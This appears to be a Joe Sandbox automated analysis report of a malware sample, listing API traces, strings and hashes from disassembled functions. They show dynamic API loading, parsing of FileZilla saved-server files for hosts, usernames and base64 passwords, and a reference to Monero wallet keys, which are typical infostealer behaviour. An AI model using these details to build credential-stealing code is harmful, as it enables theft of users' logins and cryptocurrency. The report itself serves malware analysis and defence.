Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3b7ce8ec7ace62a059862e2b7f31c2c29aaf4a04d1584e26fe461ac45e7663df
Instruction ID: d3c2657d10ff2ee609a988374e38e7808ae64f990fd3310c1bf85159bf243562
Opcode Fuzzy Hash: 3b7ce8ec7ace62a059862e2b7f31c2c29aaf4a04d1584e26fe461ac45e7663df
Instruction Fuzzy Hash: EBD05E7490030CDFCB18DFE0DC496EDBB78FB08311F000594D94562340EA305482CAAA

Function 005F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013F52A0), ref: 005F9C2D
GetProcAddress.KERNEL32(75900000,013F54E0), ref: 005F9C45
GetProcAddress.KERNEL32(75900000,01409348), ref: 005F9C5E
GetProcAddress.KERNEL32(75900000,01409378), ref: 005F9C76
GetProcAddress.KERNEL32(75900000,0140F1C0), ref: 005F9C8E
GetProcAddress.KERNEL32(75900000,0140F088), ref: 005F9CA7
GetProcAddress.KERNEL32(75900000,013FB470), ref: 005F9CBF
GetProcAddress.KERNEL32(75900000,0140EF98), ref: 005F9CD7
GetProcAddress.KERNEL32(75900000,0140F070), ref: 005F9CF0
GetProcAddress.KERNEL32(75900000,0140F028), ref: 005F9D08
GetProcAddress.KERNEL32(75900000,0140F250), ref: 005F9D20
GetProcAddress.KERNEL32(75900000,013F5220), ref: 005F9D39
GetProcAddress.KERNEL32(75900000,013F53A0), ref: 005F9D51
GetProcAddress.KERNEL32(75900000,013F53C0), ref: 005F9D69
GetProcAddress.KERNEL32(75900000,013F5500), ref: 005F9D82
GetProcAddress.KERNEL32(75900000,0140EFE0), ref: 005F9D9A
GetProcAddress.KERNEL32(75900000,0140F0A0), ref: 005F9DB2
GetProcAddress.KERNEL32(75900000,013FB498), ref: 005F9DCB
GetProcAddress.KERNEL32(75900000,013F5520), ref: 005F9DE3
GetProcAddress.KERNEL32(75900000,0140F0D0), ref: 005F9DFB
GetProcAddress.KERNEL32(75900000,0140F1F0), ref: 005F9E14
GetProcAddress.KERNEL32(75900000,0140F0E8), ref: 005F9E2C
GetProcAddress.KERNEL32(75900000,0140EFB0), ref: 005F9E44
GetProcAddress.KERNEL32(75900000,013F5260), ref: 005F9E5D
GetProcAddress.KERNEL32(75900000,0140F058), ref: 005F9E75
GetProcAddress.KERNEL32(75900000,0140F100), ref: 005F9E8D
GetProcAddress.KERNEL32(75900000,0140F280), ref: 005F9EA6
GetProcAddress.KERNEL32(75900000,0140F118), ref: 005F9EBE
GetProcAddress.KERNEL32(75900000,0140EFF8), ref: 005F9ED6
GetProcAddress.KERNEL32(75900000,0140F1A8), ref: 005F9EEF
GetProcAddress.KERNEL32(75900000,0140EFC8), ref: 005F9F07
GetProcAddress.KERNEL32(75900000,0140F040), ref: 005F9F1F
GetProcAddress.KERNEL32(75900000,0140F0B8), ref: 005F9F38
GetProcAddress.KERNEL32(75900000,0140B4F8), ref: 005F9F50
GetProcAddress.KERNEL32(75900000,0140F1D8), ref: 005F9F68
GetProcAddress.KERNEL32(75900000,0140F268), ref: 005F9F81
GetProcAddress.KERNEL32(75900000,013F5300), ref: 005F9F99
GetProcAddress.KERNEL32(75900000,0140F130), ref: 005F9FB1
GetProcAddress.KERNEL32(75900000,013F53E0), ref: 005F9FCA
GetProcAddress.KERNEL32(75900000,0140F148), ref: 005F9FE2
GetProcAddress.KERNEL32(75900000,0140F160), ref: 005F9FFA
GetProcAddress.KERNEL32(75900000,013F4F00), ref: 005FA013
GetProcAddress.KERNEL32(75900000,013F4E20), ref: 005FA02B
LoadLibraryA.KERNEL32(0140F178,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA03D
LoadLibraryA.KERNEL32(0140F190,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA04E
LoadLibraryA.KERNEL32(0140F010,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA060
LoadLibraryA.KERNEL32(0140F208,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA072
LoadLibraryA.KERNEL32(0140F220,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA083
LoadLibraryA.KERNEL32(0140F238,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA095
LoadLibraryA.KERNEL32(0140F2C8,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA0A7
LoadLibraryA.KERNEL32(0140F538,?,005F5CA3,00600AEB,?,?,?,?,?,?,?,?,?,?,00600AEA,00600AE3), ref: 005FA0B8
GetProcAddress.KERNEL32(75FD0000,013F5100), ref: 005FA0DA
GetProcAddress.KERNEL32(75FD0000,0140F430), ref: 005FA0F2
GetProcAddress.KERNEL32(75FD0000,01409170), ref: 005FA10A
GetProcAddress.KERNEL32(75FD0000,0140F358), ref: 005FA123
GetProcAddress.KERNEL32(75FD0000,013F5040), ref: 005FA13B
GetProcAddress.KERNEL32(73B50000,013FB6C8), ref: 005FA160
GetProcAddress.KERNEL32(73B50000,013F4F20), ref: 005FA179
GetProcAddress.KERNEL32(73B50000,013FB420), ref: 005FA191
GetProcAddress.KERNEL32(73B50000,0140F370), ref: 005FA1A9
GetProcAddress.KERNEL32(73B50000,0140F2F8), ref: 005FA1C2
GetProcAddress.KERNEL32(73B50000,013F4E60), ref: 005FA1DA
GetProcAddress.KERNEL32(73B50000,013F5140), ref: 005FA1F2
GetProcAddress.KERNEL32(73B50000,0140F568), ref: 005FA20B
GetProcAddress.KERNEL32(763B0000,013F4E40), ref: 005FA22C
GetProcAddress.KERNEL32(763B0000,013F5160), ref: 005FA244
GetProcAddress.KERNEL32(763B0000,0140F448), ref: 005FA25D
GetProcAddress.KERNEL32(763B0000,0140F3A0), ref: 005FA275
GetProcAddress.KERNEL32(763B0000,013F5120), ref: 005FA28D
GetProcAddress.KERNEL32(750F0000,013FB4E8), ref: 005FA2B3
GetProcAddress.KERNEL32(750F0000,013FB4C0), ref: 005FA2CB
GetProcAddress.KERNEL32(750F0000,0140F550), ref: 005FA2E3
GetProcAddress.KERNEL32(750F0000,013F50C0), ref: 005FA2FC
GetProcAddress.KERNEL32(750F0000,013F4FA0), ref: 005FA314
GetProcAddress.KERNEL32(750F0000,013FB5D8), ref: 005FA32C
GetProcAddress.KERNEL32(75A50000,0140F3E8), ref: 005FA352
GetProcAddress.KERNEL32(75A50000,013F4F80), ref: 005FA36A
GetProcAddress.KERNEL32(75A50000,01409190), ref: 005FA382
GetProcAddress.KERNEL32(75A50000,0140F2E0), ref: 005FA39B
GetProcAddress.KERNEL32(75A50000,0140F580), ref: 005FA3B3
GetProcAddress.KERNEL32(75A50000,013F4F60), ref: 005FA3CB
GetProcAddress.KERNEL32(75A50000,013F5020), ref: 005FA3E4
GetProcAddress.KERNEL32(75A50000,0140F310), ref: 005FA3FC
GetProcAddress.KERNEL32(75A50000,0140F328), ref: 005FA414
GetProcAddress.KERNEL32(75070000,013F4FC0), ref: 005FA436
GetProcAddress.KERNEL32(75070000,0140F478), ref: 005FA44E
GetProcAddress.KERNEL32(75070000,0140F340), ref: 005FA466
GetProcAddress.KERNEL32(75070000,0140F3D0), ref: 005FA47F
GetProcAddress.KERNEL32(75070000,0140F508), ref: 005FA497
GetProcAddress.KERNEL32(74E50000,013F5180), ref: 005FA4B8
GetProcAddress.KERNEL32(74E50000,013F4F40), ref: 005FA4D1
GetProcAddress.KERNEL32(75320000,013F4DC0), ref: 005FA4F2
GetProcAddress.KERNEL32(75320000,0140F388), ref: 005FA50A
GetProcAddress.KERNEL32(6F060000,013F5080), ref: 005FA530
GetProcAddress.KERNEL32(6F060000,013F5000), ref: 005FA548
GetProcAddress.KERNEL32(6F060000,013F4DE0), ref: 005FA560
GetProcAddress.KERNEL32(6F060000,0140F400), ref: 005FA579
GetProcAddress.KERNEL32(6F060000,013F4FE0), ref: 005FA591
GetProcAddress.KERNEL32(6F060000,013F50A0), ref: 005FA5A9
GetProcAddress.KERNEL32(6F060000,013F5060), ref: 005FA5C2
GetProcAddress.KERNEL32(6F060000,013F50E0), ref: 005FA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 005FA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 005FA607
GetProcAddress.KERNEL32(74E00000,0140F298), ref: 005FA629
GetProcAddress.KERNEL32(74E00000,014091A0), ref: 005FA641
GetProcAddress.KERNEL32(74E00000,0140F2B0), ref: 005FA659
GetProcAddress.KERNEL32(74E00000,0140F3B8), ref: 005FA672
GetProcAddress.KERNEL32(74DF0000,013F4DA0), ref: 005FA693
GetProcAddress.KERNEL32(6FA90000,0140F4F0), ref: 005FA6B4
GetProcAddress.KERNEL32(6FA90000,013F4EE0), ref: 005FA6CD
GetProcAddress.KERNEL32(6FA90000,0140F418), ref: 005FA6E5
GetProcAddress.KERNEL32(6FA90000,0140F460), ref: 005FA6FD

Strings

InternetSetOptionA, xrefs: 005FA5E5
HttpQueryInfoA, xrefs: 005FA5FC

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 4b9504b6d634eca670a59bb8f77a8ebe7f51b373478110d915de9a9f9b324770
Instruction ID: 143c67517e88da9b3d08bce2ffe60690d999bb1435dac291097a259cb437c0d4
Opcode Fuzzy Hash: 4b9504b6d634eca670a59bb8f77a8ebe7f51b373478110d915de9a9f9b324770
Instruction Fuzzy Hash: F9620BB5500204AFC36CDFA8EE889663BF9FF4C701754C52AE649C3264D7399843DB6A

Function 005E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005E7724
RtlAllocateHeap.NTDLL(00000000), ref: 005E772B
lstrcat.KERNEL32(?,0140AE38), ref: 005E78DB
lstrcat.KERNEL32(?,?), ref: 005E78EF
lstrcat.KERNEL32(?,?), ref: 005E7903
lstrcat.KERNEL32(?,?), ref: 005E7917
lstrcat.KERNEL32(?,0140FFD8), ref: 005E792B
lstrcat.KERNEL32(?,01410170), ref: 005E793F
lstrcat.KERNEL32(?,01410188), ref: 005E7952
lstrcat.KERNEL32(?,014101A0), ref: 005E7966
lstrcat.KERNEL32(?,013F8A78), ref: 005E797A
lstrcat.KERNEL32(?,?), ref: 005E798E
lstrcat.KERNEL32(?,?), ref: 005E79A2
lstrcat.KERNEL32(?,?), ref: 005E79B6
lstrcat.KERNEL32(?,0140FFD8), ref: 005E79C9
lstrcat.KERNEL32(?,01410170), ref: 005E79DD
lstrcat.KERNEL32(?,01410188), ref: 005E79F1
lstrcat.KERNEL32(?,014101A0), ref: 005E7A04
lstrcat.KERNEL32(?,013F8A10), ref: 005E7A18
lstrcat.KERNEL32(?,?), ref: 005E7A2C
lstrcat.KERNEL32(?,?), ref: 005E7A40
lstrcat.KERNEL32(?,?), ref: 005E7A54
lstrcat.KERNEL32(?,0140FFD8), ref: 005E7A68
lstrcat.KERNEL32(?,01410170), ref: 005E7A7B
lstrcat.KERNEL32(?,01410188), ref: 005E7A8F
lstrcat.KERNEL32(?,014101A0), ref: 005E7AA3
lstrcat.KERNEL32(?,013F84C8), ref: 005E7AB6
lstrcat.KERNEL32(?,?), ref: 005E7ACA
lstrcat.KERNEL32(?,?), ref: 005E7ADE
lstrcat.KERNEL32(?,?), ref: 005E7AF2
lstrcat.KERNEL32(?,0140FFD8), ref: 005E7B06
lstrcat.KERNEL32(?,01410170), ref: 005E7B1A
lstrcat.KERNEL32(?,01410188), ref: 005E7B2D
lstrcat.KERNEL32(?,014101A0), ref: 005E7B41
lstrcat.KERNEL32(?,013F8600), ref: 005E7B55
lstrcat.KERNEL32(?,?), ref: 005E7B69
lstrcat.KERNEL32(?,?), ref: 005E7B7D
lstrcat.KERNEL32(?,?), ref: 005E7B91
lstrcat.KERNEL32(?,0140FFD8), ref: 005E7BA4
lstrcat.KERNEL32(?,01410170), ref: 005E7BB8
lstrcat.KERNEL32(?,01410188), ref: 005E7BCC
lstrcat.KERNEL32(?,014101A0), ref: 005E7BDF
lstrcat.KERNEL32(?,013F8738), ref: 005E7BF3
lstrcat.KERNEL32(?,?), ref: 005E7C07
lstrcat.KERNEL32(?,?), ref: 005E7C1B
lstrcat.KERNEL32(?,?), ref: 005E7C2F
lstrcat.KERNEL32(?,0140FFD8), ref: 005E7C43
lstrcat.KERNEL32(?,01410170), ref: 005E7C56
lstrcat.KERNEL32(?,01410188), ref: 005E7C6A
lstrcat.KERNEL32(?,014101A0), ref: 005E7C7E

Part of subcall function 005E75D0: lstrcat.KERNEL32(357F5020,006017FC), ref: 005E7606
Part of subcall function 005E75D0: lstrcat.KERNEL32(357F5020,00000000), ref: 005E7648
Part of subcall function 005E75D0: lstrcat.KERNEL32(357F5020, : ), ref: 005E765A
Part of subcall function 005E75D0: lstrcat.KERNEL32(357F5020,00000000), ref: 005E768F
Part of subcall function 005E75D0: lstrcat.KERNEL32(357F5020,00601804), ref: 005E76A0
Part of subcall function 005E75D0: lstrcat.KERNEL32(357F5020,00000000), ref: 005E76D3
Part of subcall function 005E75D0: lstrcat.KERNEL32(357F5020,00601808), ref: 005E76ED
Part of subcall function 005E75D0: task.LIBCPMTD ref: 005E76FB

lstrcat.KERNEL32(?,01410A70), ref: 005E7E0B
lstrcat.KERNEL32(?,0140FE20), ref: 005E7E1E
lstrlen.KERNEL32(357F5020), ref: 005E7E2B
lstrlen.KERNEL32(357F5020), ref: 005E7E3B

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 52f44042b5af584ec3c4442a12c0481819d8bcbfafd237031bf1bdba5e187271
Instruction ID: 37a875e2fd09244f34a29ae17a6da1bd757bf1130f53bf612b6dae88a3843f03
Opcode Fuzzy Hash: 52f44042b5af584ec3c4442a12c0481819d8bcbfafd237031bf1bdba5e187271
Instruction Fuzzy Hash: 113203B6D00319ABCB29EBA0DC89DEA777DBF48700F444A99F31962090DE74E7468F51

Function 005F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00600DBA,00600DB7,00600DB6,00600DB3), ref: 005F0362
RtlAllocateHeap.NTDLL(00000000), ref: 005F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 005F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 005F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 005F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 005F0562
lstrcat.KERNEL32(?,profile: null), ref: 005F0571
lstrcat.KERNEL32(?,url: ), ref: 005F0580
lstrcat.KERNEL32(?,00000000), ref: 005F0593
lstrcat.KERNEL32(?,00601678), ref: 005F05A2
lstrcat.KERNEL32(?,00000000), ref: 005F05B5
lstrcat.KERNEL32(?,0060167C), ref: 005F05C4
lstrcat.KERNEL32(?,login: ), ref: 005F05D3
lstrcat.KERNEL32(?,00000000), ref: 005F05E6
lstrcat.KERNEL32(?,00601688), ref: 005F05F5
lstrcat.KERNEL32(?,password: ), ref: 005F0604
lstrcat.KERNEL32(?,00000000), ref: 005F0617
lstrcat.KERNEL32(?,00601698), ref: 005F0626
lstrcat.KERNEL32(?,0060169C), ref: 005F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005F02A4
profile: null, xrefs: 005F0568
<Pass encoding="base64">, xrefs: 005F045A
browser: FileZilla, xrefs: 005F0559
password: , xrefs: 005F05FB
<Port>, xrefs: 005F03C6
<User>, xrefs: 005F0410
url: , xrefs: 005F0577
login: , xrefs: 005F05CA
<Host>, xrefs: 005F037C

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 38af95f4da63a6f92ee04cc7320c6dbca02abe684a5e4976e95e72eb8b2816ec
Instruction ID: b2ece93ec10150ce1101221ace102eeb9ce1d53d8c42d632e3a27b68e1c57fb0
Opcode Fuzzy Hash: 38af95f4da63a6f92ee04cc7320c6dbca02abe684a5e4976e95e72eb8b2816ec
Instruction Fuzzy Hash: EED123B191010DABCB08EBF0DD59DFE7B79BF54300F448418F606A6095DE78AA06CB62

Function 005E5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

